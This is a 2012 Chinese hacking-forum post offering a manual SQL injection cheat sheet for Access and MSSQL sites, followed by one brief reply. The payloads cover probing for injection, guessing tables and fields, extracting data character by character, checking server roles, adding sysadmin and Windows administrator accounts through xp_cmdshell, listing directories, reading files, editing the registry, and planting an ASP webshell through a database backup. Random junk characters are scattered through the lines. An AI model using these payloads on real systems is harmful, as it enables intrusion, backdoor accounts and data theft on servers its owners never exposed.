找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2454|回复: 1
打印 上一主题 下一主题

手工脚本注入

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:48:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
手工脚本注入 1 ^0 @( I- V/ Z
1.判断是否有注入;and 1=1 ;and 1=2 - {, q$ P# ]1 E% |

; I5 Q" b" D9 A' S5 v3 I) g% T: }2.初步判断是否是mssql ;and user>0   b5 U" ?( U& O5 t7 K" x; [

  H* ]+ `7 B( {3.注入参数是字符'and [查询条件] and ''=' ( H7 m- [5 b# G, i
+ e4 Q( P+ s% w0 D# _
4.搜索时没过滤参数的'and [查询条件] and '%25'='
" l$ \* p6 `* m3 L; n2 b; L4 V7 W7 V
+ x% _: M; W* f5.判断数据库系统
, @* b6 P$ B) C1 z, Q- c" m;and (select count(*) from sysobjects)>0 mssql   d9 Q8 j0 l% Z, n) k4 U
;and (select count(*) from msysobjects)>0 access
- o0 e, ]" F+ b, k; C$ ?; R; F) {" W5 X: n1 Q4 ]& K! z: `/ f
6.猜数据库 ;and (select Count(*) from [数据库名])>0 # T' n* `; r, V" Y
; L! D# n0 M$ a1 L
7.猜字段 ;and (select Count(字段名) from 数据库名)>0
) @1 S) X" o: x. R- b1 |* w% w2 s& M% N% f8 I. H
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
, r5 ^2 K9 Z$ L7 u9 I) T$ B! \( a/ r  h$ o4 C$ ?1 \# ]0 r
9.(1)猜字段的ascii值(access) 1 J, v3 t2 }1 r; O7 M+ [/ Q
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0   F  _; O1 ]0 ]  U# r: ]

/ J" `  `1 }! G3 j  `(2)猜字段的ascii值(mssql) 8 K8 C/ s8 w3 Z9 n
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
1 V. J- q7 V! ?4 W1 A: k+ v5 Y- Z, O* Q+ T0 T# }* z
10.测试权限结构(mssql)
# v+ H8 P* Q/ _  n;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
) `$ S6 \, P, c$ V! D7 v, c" j' K;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
* i2 N: x+ s- f. Q: {5 R/ ?9 m;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ( d5 L$ p7 {# h' [5 Q0 q1 U
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ) Z6 A5 C$ p) r' y
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 2 |8 R+ A2 G: E+ h8 u8 r3 P
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 9 ]$ ?6 T, e# F
;and 1=(select IS_MEMBER('db_owner'));--
6 e6 l: _! `9 P7 ]
8 u9 C/ u' [# Q* h11.添加mssql和系统的帐户
1 e9 j, B( Q) u! c;exec master.dbo.sp_addlogin username;--
2 W) q3 t# Z# ~/ o7 g; @7 c
7 C1 [1 z6 ?: o# D8 i4 J! Y;exec master.dbo.sp_password null,username,password;-- ! T' {% `9 S6 ~
: s9 l; I9 S3 \3 o+ D
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- . P7 u. S& Y0 @, L' ?6 J
3 S( X7 X. p0 T) D8 f4 A
;exec master.dbo.xp_cmdshell 'net user username password
& d" W5 I- c0 C! m  f, b4 y! j& z/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
( T" @' U. K* b( M
6 X: J. E2 A; ?& o, k% X, e;exec master.dbo.xp_cmdshell 'net user username password /add';-- 8 n2 ~( z4 n8 _1 u6 G% }& z
$ B% h4 K- A- M$ v$ A/ ?
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 3 U6 Z2 s# l2 o! V! [  h
% e9 I1 _7 ?* O* y9 w
12.(1)遍历目录
) {) w! O7 ]& D8 [5 M
/ O3 y: A) \0 p: S2 A;create table dirs(paths varchar(100), id int)
+ ^% w2 U, [' }  N7 Q, U4 X+ @3 ];insert dirs exec master.dbo.xp_dirtree 'c:\'
  ]- v. G5 D# c! [;and (select top 1 paths from dirs)>0 - `/ N3 ^2 {8 Y1 J" q  U3 F9 A' M
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
9 o; {2 ?" E# c  r. N, f
9 O7 ]$ l4 G' P8 f& y- \(2)遍历目录
: I5 c5 L! H4 u0 u0 X: C1 [' e;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
0 v3 q- S1 J+ G0 s, z$ z2 ~;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
, T, a3 y: C1 n  E5 l. n$ o;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
, c3 U/ ]* O, q8 Y;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 , G: `, j( _2 Z( `) |3 @
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
  {+ \) U5 {% u) r- G9 c- T/ h" g, T1 Z: Z/ s0 ^' v
13.mssql中的存储过程
& _/ ~5 B7 ?! k5 p
0 x: r& }( w" T7 S; a( Hxp_regenumvalues 注册表根键, 子键
+ Y+ }' k$ X2 b/ E3 ~;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
6 J  ^6 T: i+ ]! A  R  e) D" s* y
, N- p/ H5 P7 M. `xp_regread 根键,子键,键值名 4 a# Y+ h, G7 d" I% d1 G& \$ I4 A
;exec xp_regread
" |! A- S- f3 Z'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 : g. @5 k9 }& N) f

- x% F7 }( I# `3 ?xp_regwrite 根键,子键, 值名, 值类型, 值 ( E2 M" N9 E. w# A
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 - d7 ]: x* F+ f- q
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 9 }6 h- C6 j2 K8 |; F( O7 B) o
  b3 I  L" K' D+ Q, S" P
xp_regdeletevalue 根键,子键,值名
& ~2 X$ Q! d; q: j2 b4 N  e4 g5 c' ]/ N' @7 t" X" Z, O3 }* a2 g
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
( y; ?$ P; R4 [- L% ?' D! B2 v# G, i% l6 O5 p
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
: ]0 M* j/ w2 h; N
' w% o% [3 I1 z  u6 E0 y" F14.mssql的backup创建webshell + j4 ?; L3 y, X; W# [
use model
8 o) r7 N8 E5 P" O6 Mcreate table cmd(str image); - O% u6 |1 D6 c3 ]0 K5 ]
insert into cmd(str) values (''); 0 A/ r0 W  S" }+ O) W# y
backup database model to disk='c:\l.asp'; # z# n/ E* A$ Y" t

1 Z) s0 ?+ l: c- ?6 \15.mssql内置函数 ) ^* ^9 g. I$ r5 g
;and (select @@version)>0 获得Windows的版本号
5 A6 d6 w& ~: K% ?% D;and user_name()='dbo' 判断当前系统的连接用户是不是sa 1 }" r$ }. f2 N2 j8 H, H9 O
;and (select user_name())>0 爆当前系统的连接用户 * M6 _  i) j( s9 m+ Q
;and (select db_name())>0 得到当前连接的数据库
" ~2 j. j( V; |% M
: k: p1 D  \4 }1 b3 m16.简洁的webshell
6 t8 E  f" {, h4 \/ _+ ?" J; c" Z8 `% u6 L. J1 S8 b3 I" Z
use model
( _& |$ l* J. p
. q# R7 L. e4 t- Ccreate table cmd(str image);
5 A# T$ D! b  R/ U4 w6 k% y/ z8 B
insert into cmd(str) values ('');
4 l" O% @! ?+ j8 A, W; d# H1 \
: T2 q* j4 T9 o- k$ {' }% bbackup database model to disk='g:\wwwtest\l.asp';
$ C! L8 ^% c: u# S9 H* J. k & X! e. |0 b7 }) ^7 p+ w! Z* Q$ y
回复

使用道具 举报

沙发
发表于 2012-9-15 16:34:20 | 只看该作者
现在很多防注入啊,有其他注入字符码
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表